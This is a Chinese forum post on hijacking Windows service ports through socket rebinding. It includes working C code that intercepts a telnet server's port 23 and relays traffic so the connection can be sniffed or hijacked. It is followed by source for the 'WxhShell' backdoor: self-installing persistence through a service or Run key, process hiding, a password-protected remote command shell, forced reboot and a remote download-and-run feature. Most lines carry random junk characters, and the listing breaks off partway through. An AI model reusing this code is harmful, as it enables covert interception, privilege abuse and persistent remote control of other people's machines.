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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K(VW%hV1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _R^y\1Qu  
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  saddr.sin_family = AF_INET; 6{=_718l`  
jXp. qK\"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .'j29 6[u  
 $:EG%jl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); VI_+v[Hk/  
] 8Tzr  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6+3$:?  
"|t!7hC  
  这意味着什么?意味着可以进行如下的攻击: sn"fK=,#g  
SkHYXe"]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {x {H$f  
*5D3vB*S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) xE1'&!4O  
BpH%STEN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 g jxS  
qTM%G-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  X>zlb$  
fF;h V  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >zngJ$  
c}-(.eu  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 P!e=b-T  
m Ni2b*k  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2*2:-o cl$  
z%sy$^v@vD  
  #include I[D8""U  
  #include M0w/wt|  
  #include {C")#m-0  
  #include    r N5tI.iC  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q3h'l,  
  int main() 4 1t)(+r  
  { 7-* =|gl+  
  WORD wVersionRequested; V%NeZ1{ e  
  DWORD ret; K_ke2{4Jm  
  WSADATA wsaData; UyiJU~r1  
  BOOL val; aG{$Ic  
  SOCKADDR_IN saddr; u9Y3?j,oC  
  SOCKADDR_IN scaddr; a]B[`^`z  
  int err; U|5-0u5  
  SOCKET s; ,_ .v_  
  SOCKET sc; S3Y2O x  
  int caddsize; P@0Y./Ds  
  HANDLE mt; |"]PCb)!  
  DWORD tid;   x({C(Q'O  
  wVersionRequested = MAKEWORD( 2, 2 );  tR)H~l7q  
  err = WSAStartup( wVersionRequested, &wsaData ); )D/ 6%]O  
  if ( err != 0 ) { +Xy*?5E;C  
  printf("error!WSAStartup failed!\n"); 2SG$LIV 9Y  
  return -1; J7+w4q~cB`  
  } \/5RL@X}  
  saddr.sin_family = AF_INET; |+}G|hx@9  
   lzhqcL"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vmX"+sHz$]  
L0NA*C   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qCPmbg  
  saddr.sin_port = htons(23); %d;ezY'2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (sTuG}  
  { t ls60h  
  printf("error!socket failed!\n"); 1m@^E:w  
  return -1; 9 OT,TpA  
  } N#ioJ^}n:  
  val = TRUE; DjLL|jF  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  L,LNv  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ig!7BxM)<h  
  { )rtomp:X  
  printf("error!setsockopt failed!\n"); o:p *_>&  
  return -1; 1G^#q,%X_v  
  } GJA`l8`SQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ae+*=,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yj_4gxJ\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o{WyQ&2N  
n<7q`tM#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v)X\GmW7w  
  { j/!H$0PN  
  ret=GetLastError(); q(IQa@$SR  
  printf("error!bind failed!\n"); @n+=vC.xO  
  return -1; ?cy4&]s  
  } y 1\'( 1  
  listen(s,2);  Mps5Vv  
  while(1) =^;P#kX  
  { 5h{`<W  
  caddsize = sizeof(scaddr); +-$Ko fnM  
  //接受连接请求 7h9U{4r: M  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 19UN*g3(  
  if(sc!=INVALID_SOCKET) y1f:?L-z  
  { xTz%nx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W!L+(!&H  
  if(mt==NULL) g(4bBa9y  
  { n/4i|-^  
  printf("Thread Creat Failed!\n"); r 2:2,5_  
  break; /)3Lnn{W  
  }  aSutM  
  } 0<p{BL 8  
  CloseHandle(mt); R.9V,R5  
  } PoSpkJH  
  closesocket(s); a;AzY'R  
  WSACleanup(); >QkP7Kb  
  return 0; 8V/L:h#7  
  }   ~+6Vdx m  
  DWORD WINAPI ClientThread(LPVOID lpParam) L=; -x9  
  { ??&<k   
  SOCKET ss = (SOCKET)lpParam; vX|UgK?2^  
  SOCKET sc; *m+BuGt|  
  unsigned char buf[4096]; 9&]M**X  
  SOCKADDR_IN saddr; p9eRZVy/  
  long num; ca<"  
  DWORD val; G&f8n  
  DWORD ret; 4Y\wnwI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 k@mVxnC  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4=8QZf0\  
  saddr.sin_family = AF_INET; \;X+X,M  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); IH *s8tPc  
  saddr.sin_port = htons(23); @R|'X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yHo[{,4itA  
  { GEUg]nw  
  printf("error!socket failed!\n"); w?Ju5 5  
  return -1; R9+jW'[K  
  } PJ4(}a  
  val = 100; @~td`Z?1 y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *Mc7f?H  
  { 0MF}^"R  
  ret = GetLastError(); c]k*}W3T  
  return -1; e GL1  
  } {-/^QX]6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "/{RhY<  
  { NQHz<3S[  
  ret = GetLastError(); !~i' -4]  
  return -1; Z~  
  } kS5_&#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :iWS\G^ U  
  { fh8j2S9J  
  printf("error!socket connect failed!\n"); ~Ou1WnmO  
  closesocket(sc); ,MPB/j^o5!  
  closesocket(ss); Gbpw5n;e  
  return -1; rZXrT}Xh{W  
  } 2S[-$9  
  while(1) bPK Ow<  
  { AM"jX"F9/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Io`P,l:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qy1F* kY  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &<TzG B*  
  num = recv(ss,buf,4096,0); O Wp%v_y]  
  if(num>0) B5%n(,Lx  
  send(sc,buf,num,0); 5Z/7kU= I  
  else if(num==0) iSLGwTdLn  
  break; n{0Ld - zH  
  num = recv(sc,buf,4096,0); ZFm`UXS  
  if(num>0) PQmq5N6  
  send(ss,buf,num,0); 9# 4Y1LS)  
  else if(num==0) @oP_;G  
  break; a 3SlxsWW  
  } 8LkP)]4^sO  
  closesocket(ss); .R*!aK  
  closesocket(sc); NH<gU_s8{9  
  return 0 ; _9H*agRe  
  } 4LcX<B U9  
POI.]1i  
Wm~` ~P  
========================================================== R:-JkV>e:  
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下边附上一个代码,,WXhSHELL \`<cH#  
.{KjEg 6  
========================================================== eK_*2=;XRW  
#t8{R~y"gv  
#include "stdafx.h" `N//A}9  
]Y>h3T~  
#include <stdio.h> pL=d% m.W  
#include <string.h> mMx ;yZ  
#include <windows.h> !rDdd%Z  
#include <winsock2.h> w.\w1:d  
#include <winsvc.h> [S]S^ej*8  
#include <urlmon.h> tY${M^^<J  
r~-.nb"P  
#pragma comment (lib, "Ws2_32.lib") {#P `^g  
#pragma comment (lib, "urlmon.lib") >>b3ZE|5  
,C.:;Ime({  
#define MAX_USER   100 // 最大客户端连接数 D-Vai#Cd  
#define BUF_SOCK   200 // sock buffer )5j;KI%t  
#define KEY_BUFF   255 // 输入 buffer V3;.{0k  
*_Z#O,  
#define REBOOT     0   // 重启 #ge)2  
#define SHUTDOWN   1   // 关机 \@3Qi8u//  
Z v_.na/^K  
#define DEF_PORT   5000 // 监听端口 c}*2$1  
%D$,;{ew  
#define REG_LEN     16   // 注册表键长度 Ma*y=d;,1  
#define SVC_LEN     80   // NT服务名长度 z{"2S="  
LH 3}d<{  
// 从dll定义API p9U?!L!y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r=/;iH?UH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aJL^AG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OJN2z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HmfG$Z  
W6T|iZoV"r  
// wxhshell配置信息 "vYE+   
struct WSCFG { L9Z;:``p  
  int ws_port;         // 监听端口 RgorkZlVM  
  char ws_passstr[REG_LEN]; // 口令 l\AMl \  
  int ws_autoins;       // 安装标记, 1=yes 0=no .?p\n7  
  char ws_regname[REG_LEN]; // 注册表键名 /&& 2u7*  
  char ws_svcname[REG_LEN]; // 服务名 2$_9cF Wm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XoL JL]+?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [ xOzzp4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;= j@, yu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k:2QuG^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C 3hv*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x^|Vaf  
IEjP<pLe  
}; x83 !C}4:  
Nw&!}#m  
// default Wxhshell configuration h mx= 35  
struct WSCFG wscfg={DEF_PORT, 9][(Iu]h7  
    "xuhuanlingzhe", qmTb-~  
    1, YSJy`  
    "Wxhshell", F/m^?{==~*  
    "Wxhshell", -LDCBc"  
            "WxhShell Service", *#%9Rp2|  
    "Wrsky Windows CmdShell Service", PkE5|d*,  
    "Please Input Your Password: ", ,:~0F^z  
  1, {U 'd}Q  
  "http://www.wrsky.com/wxhshell.exe", ; Sd\VR  
  "Wxhshell.exe" mNf8kwr  
    }; k4qp u=@U  
\Gm-MpW  
// 消息定义模块 %p^.\ch9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >e2<!#er|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Eca\fkj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )&era ` e[  
char *msg_ws_ext="\n\rExit."; Uie?9&3  
char *msg_ws_end="\n\rQuit."; O20M[_S  
char *msg_ws_boot="\n\rReboot..."; i |{Dd%4vK  
char *msg_ws_poff="\n\rShutdown..."; `r5 $LaD  
char *msg_ws_down="\n\rSave to "; T5Q{{@Q  
'Y$R~e^Y?  
char *msg_ws_err="\n\rErr!"; `c/*H29  
char *msg_ws_ok="\n\rOK!"; 48|s$K^  
O\K_q7iO6  
char ExeFile[MAX_PATH]; ;!o]wHmA  
int nUser = 0; *5zrZ]^  
HANDLE handles[MAX_USER]; e *(b  
int OsIsNt; \;VhYvEH  
ve ~05mg  
SERVICE_STATUS       serviceStatus; M3p   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hS[ yNwD  
t1VH doNN  
// 函数声明 2^t#6XBk/  
int Install(void); +(xeT+J  
int Uninstall(void); vA$o~?a]/  
int DownloadFile(char *sURL, SOCKET wsh); 7'wS\/e4a  
int Boot(int flag); Qr1e@ =B  
void HideProc(void); L,d LE-L  
int GetOsVer(void); TI9UXa:V\  
int Wxhshell(SOCKET wsl); w ;daC(:  
void TalkWithClient(void *cs); hYQ_45Z*?  
int CmdShell(SOCKET sock); *A}cL  
int StartFromService(void); g }laG8  
int StartWxhshell(LPSTR lpCmdLine); kc7lc|'z  
mzQ`N}]T:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b}T6v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zkTp`>9R  
|Iu npZV  
// 数据结构和表定义 Ngb(F84H?  
SERVICE_TABLE_ENTRY DispatchTable[] = awv De  
{ h25G/`  
{wscfg.ws_svcname, NTServiceMain}, IHgeQ F ~  
{NULL, NULL} h' !imQ  
}; \%sVHt`c  
izKfU?2]X@  
// 自我安装 t_ksvWUo  
int Install(void) _k^0m  
{ o!:8nXw  
  char svExeFile[MAX_PATH]; >5R <;#8  
  HKEY key; J$~<V IX  
  strcpy(svExeFile,ExeFile); X1 ZgSs+i  
s >0Nr  
// 如果是win9x系统,修改注册表设为自启动 GDYFU* 0  
if(!OsIsNt) { 9%* wb`&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jBaB@LO9G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :'aAZegQY  
  RegCloseKey(key); 3E f1bhi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /-6S{hl9Ne  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8/z3=O&  
  RegCloseKey(key); SuZ&vqS  
  return 0; Z):n c% S  
    } lpH=2l$>?  
  } Ro2d,'   
} `%3 /   
else { DK0.R]&4(  
7bxA]s{m  
// 如果是NT以上系统,安装为系统服务 T[= S$n -'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gyS+9)gY  
if (schSCManager!=0) X(jVRr_m9  
{ 2<mW\$  
  SC_HANDLE schService = CreateService sH[ -W-  
  ( I\qYkWg7  
  schSCManager, @aQ1khEd  
  wscfg.ws_svcname, y~IuPc  
  wscfg.ws_svcdisp, kE TT4U  
  SERVICE_ALL_ACCESS, n.hv!W0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M MzGd:0b  
  SERVICE_AUTO_START, H3{GmV8  
  SERVICE_ERROR_NORMAL, l!#m&'16"  
  svExeFile, -@>BHC  
  NULL, < j$#9QQ1  
  NULL, "RVcA",  
  NULL, nA?Hxos  
  NULL, zrVC8Wb  
  NULL ~OePp a\  
  ); u*  
  if (schService!=0) azjEq$<M  
  { A`{y9@h(  
  CloseServiceHandle(schService); T5Dw0Y6u,  
  CloseServiceHandle(schSCManager); ,ZblI O Wb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1b8p~-LsU  
  strcat(svExeFile,wscfg.ws_svcname); 10#oG{ 9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VL' fP2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R:p62c;Tv0  
  RegCloseKey(key); MxzLK%am  
  return 0; Knhp*V?  
    } q9"=mO0J+  
  } &D%(~|'  
  CloseServiceHandle(schSCManager); 0J.dG/I%  
} zi~5l#I  
} :b[`  v  
H A}f,),G  
return 1; )} DUMq7  
} pf4 ^Bk}e  
oJKa"H-jL  
// 自我卸载 Vtppuu$  
int Uninstall(void) >=iy2~Fz,  
{ t6c<kIQ:-O  
  HKEY key; v){ .Z^_C  
jkiTj~WE-  
if(!OsIsNt) { RFh"&0[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rQTr8DYH  
  RegDeleteValue(key,wscfg.ws_regname); /yLZ/<WN  
  RegCloseKey(key); \, !Q Jp4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \.XLcz  
  RegDeleteValue(key,wscfg.ws_regname); 2cu#lMq  
  RegCloseKey(key); 8 i&_Jgmr  
  return 0; Y-ux7F{=z  
  } ]CU]pK?nq  
} >r &;3:"  
} >hY" 3  
else { }AZc8o-  
9;F bnp'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UZ8?[  
if (schSCManager!=0) -st7_3  
{ U $Qv>7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @v\*AYr'M  
  if (schService!=0) )pw&c_x  
  { (]/9-\6(#  
  if(DeleteService(schService)!=0) { bbxLBD'  
  CloseServiceHandle(schService); .I3?7  
  CloseServiceHandle(schSCManager); hVj NZ  
  return 0; y80ykGPT\&  
  } y{q*s8NY  
  CloseServiceHandle(schService); s=?aox7  
  } Bh&Ew   
  CloseServiceHandle(schSCManager); W"L&fV+3  
} JcJmds  
} ~_9"3,~o5  
0=wK:Ex  
return 1; W:i?t8y\y  
} X5YiFLH>y\  
ThW,Y" l  
// 从指定url下载文件 @1zQce>  
int DownloadFile(char *sURL, SOCKET wsh) K}[>T(0E  
{ ck#"*] ,  
  HRESULT hr; L]a`"CH:a$  
char seps[]= "/"; TEUY3z[g  
char *token; iE0ab,OF  
char *file; \3Oij^l 0  
char myURL[MAX_PATH]; @|ye qy_:  
char myFILE[MAX_PATH]; 2?Ye*-  
ry};m_BY  
strcpy(myURL,sURL); TJ?g%  
  token=strtok(myURL,seps); =Nz0.:  
  while(token!=NULL) !gwjN_ZJ^  
  { 3E}EBJLsZ  
    file=token; Dj\e@?Y  
  token=strtok(NULL,seps); DjMf,wX-{  
  } #G9 ad K5  
57F%j3.|/  
GetCurrentDirectory(MAX_PATH,myFILE); vUC!fIG  
strcat(myFILE, "\\"); /R X1UQ.s  
strcat(myFILE, file); O!D/|.Q#%  
  send(wsh,myFILE,strlen(myFILE),0); P`U<7xF~  
send(wsh,"...",3,0); NV4g~+n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); elJ)4Em  
  if(hr==S_OK) 2EQ 6J  
return 0; 0;sRJ  
else 8GJdRL(  
return 1; .AV)'j#6P  
a :SQ16_?  
}  Z:2I/  
QbYc[8-[  
// 系统电源模块 /Tz85 [%6  
int Boot(int flag) `n!viW|tB  
{ i5hD#  
  HANDLE hToken; 3E} An%  
  TOKEN_PRIVILEGES tkp; fbZibcQ%k  
OH<?DcfeL  
  if(OsIsNt) { T0j2a &Pv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3L-^<'~-k;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yh;Y,;4  
    tkp.PrivilegeCount = 1; Z.&\=qiY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x@P{l&:>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6FfOH<\z6i  
if(flag==REBOOT) { }:iBx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b|^I<7  
  return 0; wh 0<Uv  
} v4?iOD  
else { ^Cz YDq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~Y5l+EF#  
  return 0; V6iL5&  
} "oJ(J{Jat  
  } eR']#Q46{T  
  else { B\j~)vg  
if(flag==REBOOT) { '(@YK4_M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5/ecaAB2  
  return 0; mXjgs8 s  
} zxD,E@lF  
else { (g/7yO(s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jSt mS2n  
  return 0; k D~uGA  
} Y{Ap80'\6  
} QHf$f@bjI  
/<)-q-W;  
return 1; n1(?|aJ#1  
} (VHND%7P  
;##]G=%  
// win9x进程隐藏模块 p|6v~  
void HideProc(void) Dxx;v.$  
{ \Z5 +$Ij  
)&NAs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :x>T}C<Y  
  if ( hKernel != NULL ) #Olg(:\  
  { <SXZx9A!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +Al>2~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =7[)'  
    FreeLibrary(hKernel); vM0_>1nN  
  } f %fa{  
[p;*r)f2}  
return; ft5DU/%  
} f|0lj   
)@QJ  
// 获取操作系统版本 "mj^+u-  
int GetOsVer(void) m$UvFP1>u1  
{ Y'm=etE  
  OSVERSIONINFO winfo; H~+xB1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); * UcjQ  
  GetVersionEx(&winfo); eO5ktEoJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \tt'm\_  
  return 1; SPy3~Db-o  
  else UKB_Yy^Y  
  return 0; c;!g  
} `bgb*Yaod  
;"7/@&M\m  
// 客户端句柄模块 ^KHLBSc:  
int Wxhshell(SOCKET wsl) -Q[g/%  
{ 9{J?HFw*;  
  SOCKET wsh; mVf.sA8  
  struct sockaddr_in client; mX_)b>iW  
  DWORD myID; 1 tfYsg=O  
Ygj6(2  
  while(nUser<MAX_USER) 3A0_C?E  
{ a+(j ?_FyI  
  int nSize=sizeof(client); k&Jo"[i&WO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )LFD6\z1pl  
  if(wsh==INVALID_SOCKET) return 1; ??xlA-E  
?vbDB4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rZC3\,W  
if(handles[nUser]==0) ;w6s<a@Zh  
  closesocket(wsh); d.}}s$Q  
else jn=ug42d  
  nUser++; Lt<oi8'N  
  } J%P)%yX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S=9E@(]  
b~w KF0vq  
  return 0; *,jqE9:O  
} 75Fp[Q-  
-N^ =@Yx)  
// 关闭 socket ' o=E!?  
void CloseIt(SOCKET wsh) HTNA])G  
{ +{vQS FW  
closesocket(wsh); &q>h *w4O  
nUser--; q!*MH/R  
ExitThread(0); F?2FITi_V  
} pGk"3.ce  
eiB(VOJ  
// 客户端请求句柄 Ar~{= X  
void TalkWithClient(void *cs) \]a uSO  
{ PJwEA  
jEE_D +K  
  SOCKET wsh=(SOCKET)cs; c% yh(g  
  char pwd[SVC_LEN]; fv|%Ocm  
  char cmd[KEY_BUFF]; o[{&!t  
char chr[1]; }~GV'7d1  
int i,j; Q0SW;o7  
XPVV+.  
  while (nUser < MAX_USER) { g^n;IE$B  
ORtg>az\%  
if(wscfg.ws_passstr) { =F[lg?g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3:O+GQ*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W :>J864!  
  //ZeroMemory(pwd,KEY_BUFF); mS7E_A8  
      i=0; wy\o*P9mG)  
  while(i<SVC_LEN) { z@n+7p`w  
Sgx+V"bkT  
  // 设置超时 VVN # $  
  fd_set FdRead; A?sNXhh  
  struct timeval TimeOut; g\j>qUjs%Q  
  FD_ZERO(&FdRead); C&oxi$J:p+  
  FD_SET(wsh,&FdRead); V%o#AfMI_  
  TimeOut.tv_sec=8; m`a>,%}P"  
  TimeOut.tv_usec=0; ])68wqD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -_w~JCx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p}r yKW\cJ  
XWf7"]%SX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 59/Q*7ZJ  
  pwd=chr[0]; wK ][qZ ]  
  if(chr[0]==0xd || chr[0]==0xa) { clC~2:  
  pwd=0;  3:"AFV  
  break; kFnUJM$r  
  } & ]%\.m  
  i++; -MUQ \pZ  
    } (A|B@a!Y>  
"1CGO@AXS  
  // 如果是非法用户,关闭 socket y,1S& k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IwnYJp:9v  
} ?^eJ:  
YBeZN98Nt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M Yu?&}%^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (T4k~T`3  
UT % #K%  
while(1) { I}1fEw>8  
?Ip$;s  
  ZeroMemory(cmd,KEY_BUFF); Jn60i6/  
wo$|~ Hr  
      // 自动支持客户端 telnet标准   (kdC1,E  
  j=0; ]&/0  
  while(j<KEY_BUFF) { CARq^xI-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i{4'cdr?  
  cmd[j]=chr[0]; a?l_-Fi  
  if(chr[0]==0xa || chr[0]==0xd) { #fJwC7  4  
  cmd[j]=0; %oMWcgsdJi  
  break; 9k*^\@\\x  
  } 7d%A1}Bq$  
  j++; "@aq@mY@  
    } [Aa[&RX+9  
Ae3,W  
  // 下载文件 Hs.6;|0%  
  if(strstr(cmd,"http://")) { Ixyvn#ux )  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |qQ{8T%)  
  if(DownloadFile(cmd,wsh)) VM=hQYe  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c&0;wgieg  
  else 5F% h>tqh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QZ6[*_Z6  
  } |C&%S"*+D  
  else { M9g~lKs'  
z (c@(UD-_  
    switch(cmd[0]) { &?}kL= h  
  /h1dm,  
  // 帮助 dcV,_  
  case '?': { ^=aml   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nNd`]F^U  
    break; cfrvy^>,  
  } ey'pm\Z  
  // 安装 =$&7IQ?  
  case 'i': { pil0,r $D  
    if(Install()) r\4*\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OL,/-;z6  
    else rC* sNy2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rTWh(8T  
    break; YlZYS'_  
    } 7F>gj  
  // 卸载 jh<TdvF2$  
  case 'r': { qAS70XjOF  
    if(Uninstall()) &/J.0d-*``  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xl1L4R)6D  
    else lQ=&jkw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (M+,wW[6  
    break; 8MYLXW6  
    } e; &{50VY  
  // 显示 wxhshell 所在路径 CVyx lc>  
  case 'p': {  =F",D=  
    char svExeFile[MAX_PATH]; {[YqGv=fF  
    strcpy(svExeFile,"\n\r"); c4!c_a2pS  
      strcat(svExeFile,ExeFile); .Um?5wG~i  
        send(wsh,svExeFile,strlen(svExeFile),0); =!1-AR%.^  
    break; v#FJ+  
    } ]%cHm4#m3  
  // 重启 zN?$Sxttx  
  case 'b': { !mpMa]G3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bQ|#_/?  
    if(Boot(REBOOT)) ^g}gT-l%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :,xyVb+  
    else { ^P3g9'WK  
    closesocket(wsh); .(P@Bl]XJ  
    ExitThread(0); Fy4<  
    } c<JM1  
    break; pXpLL_  
    } JxMyeo%gv  
  // 关机 -z>Z0viA  
  case 'd': { _rWM]  
